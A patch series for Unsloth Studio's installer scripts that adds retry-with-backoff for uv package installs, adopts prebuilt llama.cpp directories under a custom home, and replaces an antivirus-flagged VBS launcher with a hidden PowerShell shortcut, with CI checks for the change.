@@ -163,6 +163,40 @@ run_install_cmd() {
     return $_rc
 }
 
+# Retry run_install_cmd on transient uv download failures with backoff. Returns
+# the last exit code on permanent failure so the set -e rollback trap still fires.
+: "${UNSLOTH_INSTALL_RETRIES:=3}"
+: "${UNSLOTH_INSTALL_RETRY_DELAY:=3}"
+run_install_cmd_retry() {
+    _ricr_label="$1"
+    # Sanitize overrides to a default of 3 (a typo must not disable retries; =1 disables).
+    # Length guard precedes the numeric test so a huge value can't overflow `[ -ge ]`.
+    # 0?* rejects leading-zero delays ("08"/"09" break the later $((delay*2)) as octal);
+    # bare "0" stays valid. Bounds: 1..100 retries, 0..3600s base delay.
+    case "$UNSLOTH_INSTALL_RETRIES" in
+        ''|*[!0-9]*|0) _ricr_max=3 ;;
+        *) if [ "${#UNSLOTH_INSTALL_RETRIES}" -le 3 ] && [ "$UNSLOTH_INSTALL_RETRIES" -ge 1 ] 2>/dev/null && [ "$UNSLOTH_INSTALL_RETRIES" -le 100 ] 2>/dev/null; then _ricr_max=$UNSLOTH_INSTALL_RETRIES; else _ricr_max=3; fi ;;
+    esac
+    case "$UNSLOTH_INSTALL_RETRY_DELAY" in
+        ''|*[!0-9]*|0?*) _ricr_delay=3 ;;
+        *) if [ "${#UNSLOTH_INSTALL_RETRY_DELAY}" -le 4 ] && [ "$UNSLOTH_INSTALL_RETRY_DELAY" -ge 0 ] 2>/dev/null && [ "$UNSLOTH_INSTALL_RETRY_DELAY" -le 3600 ] 2>/dev/null; then _ricr_delay=$UNSLOTH_INSTALL_RETRY_DELAY; else _ricr_delay=3; fi ;;
+    esac
+    _ricr_attempt=1
+    while :; do
+        # AND-OR (not `if`) preserves the real failure code: $? after a non-taken
+        # `if` is 0 in sh/dash/bash, which would break the rollback path.
+        run_install_cmd "$@" && return 0
+        _ricr_rc=$?
+        if [ "$_ricr_attempt" -ge "$_ricr_max" ]; then
+            return "$_ricr_rc"
+        fi
+        substep "retrying \"$_ricr_label\" after transient failure (attempt $((_ricr_attempt + 1))/$_ricr_max, waiting ${_ricr_delay}s)..." "$C_WARN"
+        sleep "$_ricr_delay" || true
+        _ricr_attempt=$((_ricr_attempt + 1))
+        _ricr_delay=$((_ricr_delay * 2))
+    done
+}
+
 # Install bitsandbytes on AMD ROCm hosts. Uses the continuous-release_main
 # wheel for the ROCm 4-bit GEMV fix (bnb PR #1887, post-0.49.2); bnb <= 0.49.2
 # NaNs at decode shape on every AMD GPU. Falls back to PyPI >=0.49.1 if the
@@ -1456,12 +1490,19 @@ fi
 
 # ── Install uv ──
 tauri_log "STEP" "Installing uv package manager"
-UV_MIN_VERSION="0.7.22"
+UV_MIN_VERSION="0.8.16"
 
 # When bytecode compilation is enabled, large installs can exceed uv's 60s default on slow machines. Default to 180s, preserving overrides ("0" disables).
 : "${UV_COMPILE_BYTECODE_TIMEOUT:=180}"
 export UV_COMPILE_BYTECODE_TIMEOUT
 
+# uv >= 0.8.16 retries HTTP/2 streaming body errors; raise retries and read
+# timeout for large wheel downloads. ":=" preserves any user override.
+: "${UV_HTTP_RETRIES:=5}"
+export UV_HTTP_RETRIES
+: "${UV_HTTP_TIMEOUT:=180}"
+export UV_HTTP_TIMEOUT
+
 version_ge() {
     # returns 0 if $1 >= $2
     _a=$1
@@ -2420,20 +2461,20 @@ if [ "$_MIGRATED" = true ]; then
         # PyPI metadata still declares torch as a hard dep), then install
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps
         # to prevent transitive torch resolution.
-        run_install_cmd "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
+        run_install_cmd_retry "install unsloth (migrated no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
             "unsloth>=2026.6.7" unsloth-zoo
         # Resolve pydantic WITH deps so pip pins pydantic-core to the
         # matching version (no-torch-runtime.txt below is --no-deps).
         # All transitive deps are torch-free.
-        run_install_cmd "install pydantic (with deps for compatible core)" \
+        run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
         _NO_TORCH_RT="$(_find_no_torch_runtime)"
         if [ -n "$_NO_TORCH_RT" ]; then
-            run_install_cmd "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
+            run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
         fi
     else
-        run_install_cmd "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
+        run_install_cmd_retry "install unsloth (migrated)" uv pip install --python "$_VENV_PY" \
             --reinstall-package unsloth --reinstall-package unsloth-zoo \
             "unsloth>=2026.6.7" unsloth-zoo
     fi
@@ -2441,7 +2482,7 @@ if [ "$_MIGRATED" = true ]; then
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
-        run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
+        run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
             --no-deps --reinstall-package unsloth-zoo \
             "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
     fi
@@ -2456,7 +2497,7 @@ if [ "$_MIGRATED" = true ]; then
                 _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
                 if [ -z "$_has_hip" ]; then
                     substep "repairing ROCm torch (overwritten by dependency resolution)..."
-                    run_install_cmd "repair ROCm torch" uv pip install --python "$_VENV_PY" \
+                    run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
                         --index-url "$TORCH_INDEX_URL" \
                         --force-reinstall
@@ -2582,7 +2623,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                 if [ -z "$_torch_whl" ] || [ -z "$_tv_whl" ] || [ -z "$_ta_whl" ] || \
                    [ "$_radeon_versions_match" != true ]; then
                     substep "[WARN] Radeon repo lacks a compatible wheel set for this Python; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
-                    run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \
+                    run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
                         --index-url "$TORCH_INDEX_URL"
                 else
@@ -2594,30 +2635,30 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                     # filelock / sympy / networkx which are not in the
                     # Radeon listing.
                     if [ -n "$_tri_whl" ]; then
-                        run_install_cmd "install triton + PyTorch" uv pip install --python "$_VENV_PY" \
+                        run_install_cmd_retry "install triton + PyTorch" uv pip install --python "$_VENV_PY" \
                             --find-links "$_RADEON_BASE_URL" \
                             "$_tri_whl" "$_torch_whl" "$_tv_whl" "$_ta_whl"
                     else
-                        run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \
+                        run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                             --find-links "$_RADEON_BASE_URL" \
                             "$_torch_whl" "$_tv_whl" "$_ta_whl"
                     fi
                 fi
             else
                 substep "[WARN] Radeon repo unavailable; falling back to ROCm index ($TORCH_INDEX_URL)" "$C_WARN"
-                run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \
+                run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                     "$TORCH_CONSTRAINT" torchvision torchaudio \
                     --index-url "$TORCH_INDEX_URL"
             fi
         else
             substep "[WARN] Radeon GPU detected but could not detect full ROCm version; falling back to ROCm index" "$C_WARN"
-            run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" \
+            run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" \
                 "$TORCH_CONSTRAINT" torchvision torchaudio \
                 --index-url "$TORCH_INDEX_URL"
         fi
     else
         substep "installing PyTorch ($TORCH_INDEX_URL)..."
-        run_install_cmd "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \
+        run_install_cmd_retry "install PyTorch" uv pip install --python "$_VENV_PY" "$TORCH_CONSTRAINT" torchvision torchaudio \
             --index-url "$TORCH_INDEX_URL"
     fi
     # AMD ROCm: install bitsandbytes (once, after torch, for all ROCm paths).
@@ -2637,35 +2678,35 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
     if [ "$SKIP_TORCH" = true ]; then
         # No-torch: install unsloth + unsloth-zoo with --no-deps, then
         # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-        run_install_cmd "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
+        run_install_cmd_retry "install unsloth (no-torch)" uv pip install --python "$_VENV_PY" --no-deps \
             --upgrade-package unsloth --upgrade-package unsloth-zoo \
             "unsloth>=2026.6.7" unsloth-zoo
         # Same pydantic-with-deps trick as the migrated branch.
-        run_install_cmd "install pydantic (with deps for compatible core)" \
+        run_install_cmd_retry "install pydantic (with deps for compatible core)" \
             uv pip install --python "$_VENV_PY" pydantic
         _NO_TORCH_RT="$(_find_no_torch_runtime)"
         if [ -n "$_NO_TORCH_RT" ]; then
-            run_install_cmd "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
+            run_install_cmd_retry "install no-torch runtime deps" uv pip install --python "$_VENV_PY" --no-deps -r "$_NO_TORCH_RT"
         fi
         if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
             substep "overlaying local repo (editable)..."
             run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
             substep "overlaying unsloth-zoo from git main..."
-            run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
+            run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
                 --no-deps --reinstall-package unsloth-zoo \
                 "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
         fi
     elif [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd "install unsloth (local)" uv pip install --python "$_VENV_PY" \
+        run_install_cmd_retry "install unsloth (local)" uv pip install --python "$_VENV_PY" \
             --upgrade-package unsloth "unsloth>=2026.6.7" unsloth-zoo
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
-        run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
+        run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
             --no-deps --reinstall-package unsloth-zoo \
             "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
     else
-        run_install_cmd "install unsloth" uv pip install --python "$_VENV_PY" \
+        run_install_cmd_retry "install unsloth" uv pip install --python "$_VENV_PY" \
             --upgrade-package unsloth -- "$PACKAGE_NAME"
     fi
     # AMD ROCm: repair torch if the unsloth/unsloth-zoo install pulled in
@@ -2676,7 +2717,7 @@ elif [ -n "$TORCH_INDEX_URL" ]; then
                 _has_hip=$("$_VENV_PY" -c "import torch; print(getattr(torch.version,'hip','') or '')" 2>/dev/null || true)
                 if [ -z "$_has_hip" ]; then
                     substep "repairing ROCm torch (overwritten by dependency resolution)..."
-                    run_install_cmd "repair ROCm torch" uv pip install --python "$_VENV_PY" \
+                    run_install_cmd_retry "repair ROCm torch" uv pip install --python "$_VENV_PY" \
                         "$TORCH_CONSTRAINT" torchvision torchaudio \
                         --index-url "$TORCH_INDEX_URL" \
                         --force-reinstall
@@ -2689,15 +2730,15 @@ else
     tauri_log "STEP" "Installing Unsloth"
     substep "installing unsloth (this may take a few minutes)..."
     if [ "$STUDIO_LOCAL_INSTALL" = true ]; then
-        run_install_cmd "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" unsloth-zoo "unsloth>=2026.6.7" --torch-backend=auto
         substep "overlaying local repo (editable)..."
         run_install_cmd "overlay local repo" uv pip install --python "$_VENV_PY" -e "$_REPO_ROOT" --no-deps
         substep "overlaying unsloth-zoo from git main..."
-        run_install_cmd "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
+        run_install_cmd_retry "overlay unsloth-zoo (git main)" uv pip install --python "$_VENV_PY" \
             --no-deps --reinstall-package unsloth-zoo \
             "unsloth-zoo @ git+https://github.com/unslothai/unsloth-zoo"
     else
-        run_install_cmd "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" --torch-backend=auto -- "$PACKAGE_NAME"
+        run_install_cmd_retry "install unsloth (auto torch backend)" uv pip install --python "$_VENV_PY" --torch-backend=auto -- "$PACKAGE_NAME"
     fi
 fi
 
diff --git a/studio/setup.ps1 b/studio/setup.ps1
index f02ed586be..7af532e7af 100644
--- a/studio/setup.ps1
+++ b/studio/setup.ps1
@@ -2035,6 +2035,15 @@ if (Test-Path -LiteralPath $LegacyStudioHome -PathType Container) {
     $LegacyStudioHome = (Resolve-Path -LiteralPath $LegacyStudioHome).Path
 }
 $StudioHomeIsCustom = ($_studioHomeCanon -ne $LegacyStudioHome)
+# Directory-local evidence that Studio created $Path, used to adopt a custom-home
+# llama.cpp predating the .unsloth-studio-owned marker (see setup.sh). Only the
+# prebuilt UNSLOTH_PREBUILT_INFO.json counts; source builds are indistinguishable
+# from a user clone on Windows and stay under the strict guard.
+function Test-StudioOwnedAdoptable {
+    param([Parameter(Mandatory = $true)][string]$Path)
+    if (Test-Path -LiteralPath (Join-Path $Path "UNSLOTH_PREBUILT_INFO.json") -PathType Leaf) { return $true }
+    return $false
+}
 function Assert-StudioOwnedOrAbsent {
     param(
         [Parameter(Mandatory = $true)][string]$Path,
@@ -2042,6 +2051,10 @@ function Assert-StudioOwnedOrAbsent {
     )
     if (-not (Test-Path -LiteralPath $Path -PathType Container)) { return }
     if ($StudioHomeIsCustom -and -not (Test-Path -LiteralPath (Join-Path $Path $StudioOwnedMarker) -PathType Leaf)) {
+        if (Test-StudioOwnedAdoptable $Path) {
+            Mark-StudioOwned $Path
+            return
+        }
         Write-Host "[ERROR] $Path already exists and is not marked as a Studio-owned $Label." -ForegroundColor Red
         Write-Host "        Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." -ForegroundColor Yellow
         exit 1
diff --git a/studio/setup.sh b/studio/setup.sh
index 4fba761cef..b78029d6e2 100755
--- a/studio/setup.sh
+++ b/studio/setup.sh
@@ -439,11 +439,25 @@ _STUDIO_HOME_IS_CUSTOM=false
 if [ "$_studio_home_canon" != "$_LEGACY_STUDIO_HOME" ]; then
     _STUDIO_HOME_IS_CUSTOM=true
 fi
+# Directory-local evidence that Studio created "$1", used to adopt a custom-home
+# llama.cpp predating the .unsloth-studio-owned marker without weakening the guard.
+# Only UNSLOTH_PREBUILT_INFO.json counts (written exclusively by the prebuilt
+# installer). A top-level llama-quantize symlink is NOT trusted: a user may have
+# their own build with one, and this runs right before a destructive rm -rf, so we
+# match Windows and keep markerless source builds strict.
+_studio_owned_adoptable() {
+    [ -f "$1/UNSLOTH_PREBUILT_INFO.json" ] && return 0
+    return 1
+}
 _assert_studio_owned_or_absent() {
     _aso_dir="$1"
     _aso_label="$2"
     [ -d "$_aso_dir" ] || return 0
     if [ "$_STUDIO_HOME_IS_CUSTOM" = true ] && [ ! -f "$_aso_dir/$_STUDIO_OWNED_MARKER" ]; then
+        if _studio_owned_adoptable "$_aso_dir"; then
+            : > "$_aso_dir/$_STUDIO_OWNED_MARKER" 2>/dev/null || true
+            return 0
+        fi
         echo "ERROR: $_aso_dir already exists and is not marked as a Studio-owned $_aso_label." >&2
         echo "       Move it aside or choose an empty UNSLOTH_STUDIO_HOME before re-running." >&2
         exit 1

From d50a2e2d07ce6a92e398ab5a59b31d821df1f312 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 04:00:18 -0700
Subject: [PATCH 32/91] Studio: remove the Windows VBS launcher to clear the
 Kaspersky false positive (#6326)

* Studio: drop the VBS launcher to clear the Kaspersky false positive

The Windows shortcut launched Unsloth Studio through wscript.exe ->
launch-studio.vbs, and that VBS used CreateObject("WScript.Shell").Run to
start a hidden -ExecutionPolicy Bypass PowerShell. That wscript + .vbs +
bypass-powershell shape is the canonical trigger for generic VBS-dropper
heuristics (Kaspersky HEUR:Trojan.VBS.Agent.gen). The launcher is benign;
only its shape is the problem.

- install.ps1: stop generating launch-studio.vbs and point the Desktop /
  Start Menu .lnk straight at powershell.exe -WindowStyle Hidden running
  launch-studio.ps1. The shortcut is saved WindowStyle 7 (minimized) so the
  brief console flash is muted. launch-studio.ps1 (health poll, port,
  mutex, browser) is byte-for-byte unchanged.
- install.ps1: delete a pre-existing launch-studio.vbs on upgrade, so the
  flagged file does not linger on machines that already installed it.
- install.ps1 / install.sh: run the heavier ie4uinit -ClearIconCache plus
  StartMenuExperienceHost tile-cache rebuild only on a first install or a
  real icon change, instead of on every no-op reinstall. That repeated
  clear-cache plus kill cluster is itself a dropper-like behavioral pattern.
- tests: forbid VBS generation and require the legacy-VBS cleanup.

Linux, macOS and WSL install paths are unchanged. WSL already targets
wsl.exe from its .lnk and never used a VBS; its only change is the same
icon-cache gating.

* Studio: add launcher-chain smoke coverage to the Windows UI CI

The shortcut launch path was previously untested: studio-windows-ui-smoke
installed then booted `unsloth studio` directly, so a broken .lnk could ship
silently. After install the job now seeds a legacy launch-studio.vbs, asserts
the upgrade removed it, asserts the .lnk targets hidden powershell.exe (never
wscript.exe), and launches via the shortcut's stored command, waiting for
/api/health to report healthy.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 .github/workflows/studio-windows-ui-smoke.yml |  74 ++++++++++
 install.ps1                                   | 126 +++++++++++++-----
 install.sh                                    |  54 +++++---
 .../install/test_launch_studio_launcher.py    |  65 +++++----
 4 files changed, 241 insertions(+), 78 deletions(-)

diff --git a/.github/workflows/studio-windows-ui-smoke.yml b/.github/workflows/studio-windows-ui-smoke.yml
index 40d8e530cd..00458d213b 100644
--- a/.github/workflows/studio-windows-ui-smoke.yml
+++ b/.github/workflows/studio-windows-ui-smoke.yml
@@ -136,6 +136,17 @@ jobs:
             }
           }
 
+      - name: Seed a legacy launch-studio.vbs (upgrade-cleanup check)
+        # Simulate a pre-hardening install so the post-install assertion below
+        # proves the installer DELETES an existing launch-studio.vbs (the exact
+        # Kaspersky-flagged file), not merely stops generating it.
+        shell: pwsh
+        run: |
+          $appDir = Join-Path $env:LOCALAPPDATA 'Unsloth Studio'
+          New-Item -ItemType Directory -Force -Path $appDir | Out-Null
+          Set-Content -LiteralPath (Join-Path $appDir 'launch-studio.vbs') -Value 'WScript.Echo "legacy"' -Encoding Unicode
+          Write-Host "seeded legacy launch-studio.vbs at $appDir"
+
       - name: Install Studio (--local, --no-torch)
         # install.ps1 is the supported Windows installer. install.sh
         # has no Windows branch (apt-get / brew calls). The PS1
@@ -192,6 +203,69 @@ jobs:
           echo "install.ps1 installed the Windows prebuilt llama.cpp:"
           cat "$INFO"
 
+      - name: Assert Studio launcher chain (no VBS, hidden PowerShell shortcut)
+        # The shortcut launch path is otherwise untested here (the steps below
+        # boot `unsloth studio` directly). Guard against re-introducing the VBS
+        # that tripped Kaspersky HEUR:Trojan.VBS.Agent.gen and against the .lnk
+        # pointing anywhere other than hidden PowerShell over launch-studio.ps1.
+        shell: pwsh
+        run: |
+          $appDir = Join-Path $env:LOCALAPPDATA 'Unsloth Studio'
+          if (Test-Path -LiteralPath (Join-Path $appDir 'launch-studio.vbs')) {
+            throw "regression: launch-studio.vbs exists (the Kaspersky VBS-FP shape)"
+          }
+          if (-not (Test-Path -LiteralPath (Join-Path $appDir 'launch-studio.ps1'))) {
+            throw "missing launch-studio.ps1 in $appDir"
+          }
+          $lnk = Join-Path ([Environment]::GetFolderPath('Desktop')) 'Unsloth Studio.lnk'
+          if (-not (Test-Path -LiteralPath $lnk)) {
+            $lnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Unsloth Studio.lnk'
+          }
+          if (-not (Test-Path -LiteralPath $lnk)) { throw "no Unsloth Studio.lnk on Desktop or Start Menu" }
+          $sc = (New-Object -ComObject WScript.Shell).CreateShortcut($lnk)
+          Write-Host "shortcut target: $($sc.TargetPath)"
+          Write-Host "shortcut args:   $($sc.Arguments)"
+          if ($sc.TargetPath -match 'wscript\.exe$') { throw "shortcut still targets wscript.exe (VBS host)" }
+          if ($sc.TargetPath -notmatch 'powershell\.exe$') { throw "unexpected shortcut target: $($sc.TargetPath)" }
+          if ($sc.Arguments -notmatch '-WindowStyle Hidden') {
+            throw "shortcut must launch windowless (-WindowStyle Hidden)"
+          }
+          Write-Host "launcher chain OK (no VBS; hidden powershell over launch-studio.ps1)"
+
+      - name: Launch Studio via the shortcut and assert health
+        # Run the exact command the .lnk stores (hidden PowerShell over
+        # launch-studio.ps1) and confirm it brings the backend up. This is the
+        # only step that proves the shortcut launch is not silently broken.
+        # Default port range is 8888-8908; the later UI tests use 18896/18897, so
+        # there is no conflict, and we tear this server down before they boot.
+        shell: pwsh
+        run: |
+          $lnk = Join-Path ([Environment]::GetFolderPath('Desktop')) 'Unsloth Studio.lnk'
+          if (-not (Test-Path -LiteralPath $lnk)) {
+            $lnk = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Unsloth Studio.lnk'
+          }
+          $sc = (New-Object -ComObject WScript.Shell).CreateShortcut($lnk)
+          Write-Host "launching: $($sc.TargetPath) $($sc.Arguments)"
+          Start-Process -FilePath $sc.TargetPath -ArgumentList $sc.Arguments -WorkingDirectory $sc.WorkingDirectory
+          $foundPort = 0
+          foreach ($i in 1..180) {
+            foreach ($port in 8888..8908) {
+              try {
+                $r = Invoke-RestMethod -Uri "http://127.0.0.1:$port/api/health" -TimeoutSec 1
+                if ($r.status -eq 'healthy' -and $r.service -eq 'Unsloth UI Backend') { $foundPort = $port; break }
+              } catch {}
+            }
+            if ($foundPort) { break }
+            Start-Sleep -Seconds 1
+          }
+          # Tear down the shortcut-launched server before the main UI tests boot.
+          try {
+            $owner = (Get-NetTCPConnection -LocalPort $foundPort -State Listen -ErrorAction Stop | Select-Object -First 1).OwningProcess
+            if ($owner) { taskkill /PID $owner /T /F 2>$null | Out-Null }
+          } catch {}
+          if (-not $foundPort) { throw "Studio did not become healthy when launched via the shortcut" }
+          Write-Host "Studio healthy on port $foundPort (launched via the shortcut)"
+
       - name: Add Studio shim to GITHUB_PATH
         # install.ps1 puts unsloth.exe at $StudioHome\bin\unsloth.exe
         # and adds that dir to the User PATH via the Windows registry.
diff --git a/install.ps1 b/install.ps1
index 367dbe12f6..c6e7e599cb 100644
--- a/install.ps1
+++ b/install.ps1
@@ -537,7 +537,6 @@ function Install-UnslothStudio {
             }
             $appDir = $StudioDataDir
             $launcherPs1 = Join-Path $appDir "launch-studio.ps1"
-            $launcherVbs = Join-Path $appDir "launch-studio.vbs"
             $desktopDir = [Environment]::GetFolderPath("Desktop")
             $desktopLink = if ($desktopDir -and $desktopDir.Trim()) {
                 Join-Path $desktopDir "Unsloth Studio.lnk"
@@ -830,19 +829,30 @@ exit 0
             # even when install.ps1 is executed from PowerShell 7.
             $utf8Bom = New-Object System.Text.UTF8Encoding($true)
             [System.IO.File]::WriteAllText($launcherPs1, $launcherContent, $utf8Bom)
-            # shell.Run(cmd, 0, ...) already hides the window, so -WindowStyle Hidden
-            # is redundant; omitting it trims an AV-heuristic token (Kaspersky FP).
-            $vbsContent = @"
-Set shell = CreateObject("WScript.Shell")
-cmd = "powershell -NoProfile -ExecutionPolicy Bypass -File ""$launcherPs1"""
-shell.Run cmd, 0, False
-"@
-            # WSH handles UTF-16LE reliably for .vbs files with non-ASCII paths.
-            Set-Content -LiteralPath $launcherVbs -Value $vbsContent -Encoding Unicode -Force
+            # No .vbs launcher is written. A WScript.Shell .vbs that spawns a hidden
+            # ExecutionPolicy-Bypass PowerShell is exactly the shape VBS-dropper
+            # heuristics score (e.g. Kaspersky HEUR:Trojan.VBS.Agent.gen). The .lnk
+            # shortcuts instead point straight at powershell.exe running
+            # launch-studio.ps1 with a hidden window (selected below).
+
+            # Delete any launch-studio.vbs left by a pre-hardening install. New
+            # installs no longer generate it, but an upgrade that merely stopped
+            # generating it would leave the exact file AV flags on disk, so remove
+            # it explicitly. Covers default and env-mode installs (same $appDir).
+            $legacyLauncherVbs = Join-Path $appDir "launch-studio.vbs"
+            if (Test-Path -LiteralPath $legacyLauncherVbs) {
+                Remove-Item -LiteralPath $legacyLauncherVbs -Force -ErrorAction SilentlyContinue
+            }
 
             # Prefer bundled icon from local clone/dev installs.
             # If not available, best-effort download from raw GitHub.
             # We only attach the icon if the resulting file has a valid ICO header.
+            # Snapshot the existing icon first so we can tell whether it actually
+            # changed and gate the heavier icon-cache refresh on a real change.
+            $preIconHash = $null
+            if (Test-Path -LiteralPath $iconPath) {
+                try { $preIconHash = (Get-FileHash -LiteralPath $iconPath -Algorithm SHA256).Hash } catch {}
+            }
             $hasValidIcon = $false
             if ($bundledIcon -and (Test-Path -LiteralPath $bundledIcon)) {
                 try {
@@ -878,6 +888,24 @@ shell.Run cmd, 0, False
                 }
             }
 
+            # Did the icon content actually change vs the previous install?
+            # Only a real change (or a first/removed icon) should trigger the heavy
+            # refresh; a no-op reinstall with no icon at all must not.
+            $iconChanged = $false
+            if ($hasValidIcon) {
+                if (-not $preIconHash) {
+                    $iconChanged = $true
+                } else {
+                    try {
+                        $postIconHash = (Get-FileHash -LiteralPath $iconPath -Algorithm SHA256).Hash
+                        $iconChanged = ($postIconHash -ne $preIconHash)
+                    } catch { $iconChanged = $true }
+                }
+            } elseif ($preIconHash) {
+                # A previously present icon was removed or invalidated.
+                $iconChanged = $true
+            }
+
             # Env-mode: skip persistent Desktop / Start Menu .lnk shortcuts
             # that may point at a deleted workspace; launcher + icon stay.
             if ($StudioRedirectMode -eq 'env') {
@@ -885,8 +913,22 @@ shell.Run cmd, 0, False
                 return
             }
 
-            $wscriptExe = Join-Path $env:SystemRoot "System32\wscript.exe"
-            $shortcutArgs = "//B //Nologo `"$launcherVbs`""
+            # Whether this is effectively a first install (no pre-existing .lnk).
+            # Used to gate the heavier icon-cache refresh below so a no-op reinstall
+            # does not repeatedly clear caches / restart StartMenuExperienceHost --
+            # a behavioral cluster AV heuristics can score as dropper-like.
+            $firstInstall = -not (
+                ($desktopLink -and (Test-Path -LiteralPath $desktopLink)) -or
+                ($startMenuLink -and (Test-Path -LiteralPath $startMenuLink))
+            )
+
+            # Launch transport for the shortcuts: powershell.exe runs
+            # launch-studio.ps1 with a hidden window. We deliberately avoid a
+            # .vbs/WScript.Shell wrapper -- that script-engine shape is what AV
+            # VBS-dropper heuristics score (Kaspersky HEUR:Trojan.VBS.Agent.gen).
+            $powershellForLnk = Join-Path $env:SystemRoot "System32\WindowsPowerShell\v1.0\powershell.exe"
+            $shortcutTarget = $powershellForLnk
+            $shortcutArgs = "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$launcherPs1`""
 
             try {
                 $wshell = New-Object -ComObject WScript.Shell
@@ -896,9 +938,11 @@ shell.Run cmd, 0, False
                     if (-not $linkPath -or [string]::IsNullOrWhiteSpace($linkPath)) { continue }
                     try {
                         $shortcut = $wshell.CreateShortcut($linkPath)
-                        $shortcut.TargetPath = $wscriptExe
+                        $shortcut.TargetPath = $shortcutTarget
                         $shortcut.Arguments = $shortcutArgs
                         $shortcut.WorkingDirectory = $appDir
+                        # Start minimized so the brief PowerShell console flash is muted.
+                        $shortcut.WindowStyle = 7
                         $shortcut.Description = "Launch Unsloth Studio"
                         if ($hasValidIcon) {
                             $shortcut.IconLocation = "$iconPath,0"
@@ -912,15 +956,13 @@ shell.Run cmd, 0, False
                 }
                 if ($createdShortcutCount -gt 0) {
                     substep "Created Unsloth Studio shortcut"
-                    # Force Explorer to re-read each new shortcut's icon so it renders
-                    # immediately instead of a stale/generic entry (a same-name .lnk
-                    # recreated across reinstalls keeps Explorer's cached per-item icon).
-                    # The reliable, non-disruptive fix (no explorer restart) is a per-item
-                    # SHChangeNotify SHCNE_UPDATEITEM + SHCNF_PATHW per .lnk; the global
-                    # SHCNE_ASSOCCHANGED broadcast alone does NOT recover a stale item.
-                    # Also clear the on-disk icon cache (covers heavier staleness).
-                    try { & "$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache 2>$null } catch {}
-                    try { & "$env:SystemRoot\System32\ie4uinit.exe" -show 2>$null } catch {}
+                    # Always do the cheap, non-disruptive per-item refresh so a
+                    # rewritten same-name .lnk renders with its new target/icon
+                    # immediately (a same-name .lnk recreated across reinstalls keeps
+                    # Explorer's cached per-item icon). The reliable fix (no explorer
+                    # restart) is a per-item SHChangeNotify SHCNE_UPDATEITEM +
+                    # SHCNF_PATHW per .lnk; the global SHCNE_ASSOCCHANGED broadcast
+                    # alone does NOT recover a stale item.
                     try {
                         Add-Type -Namespace UnslothShell -Name IconRefresh -MemberDefinition '[System.Runtime.InteropServices.DllImport("shell32.dll", CharSet = System.Runtime.InteropServices.CharSet.Unicode)] public static extern void SHChangeNotify(int eventId, uint flags, string item1, System.IntPtr item2);' -ErrorAction SilentlyContinue
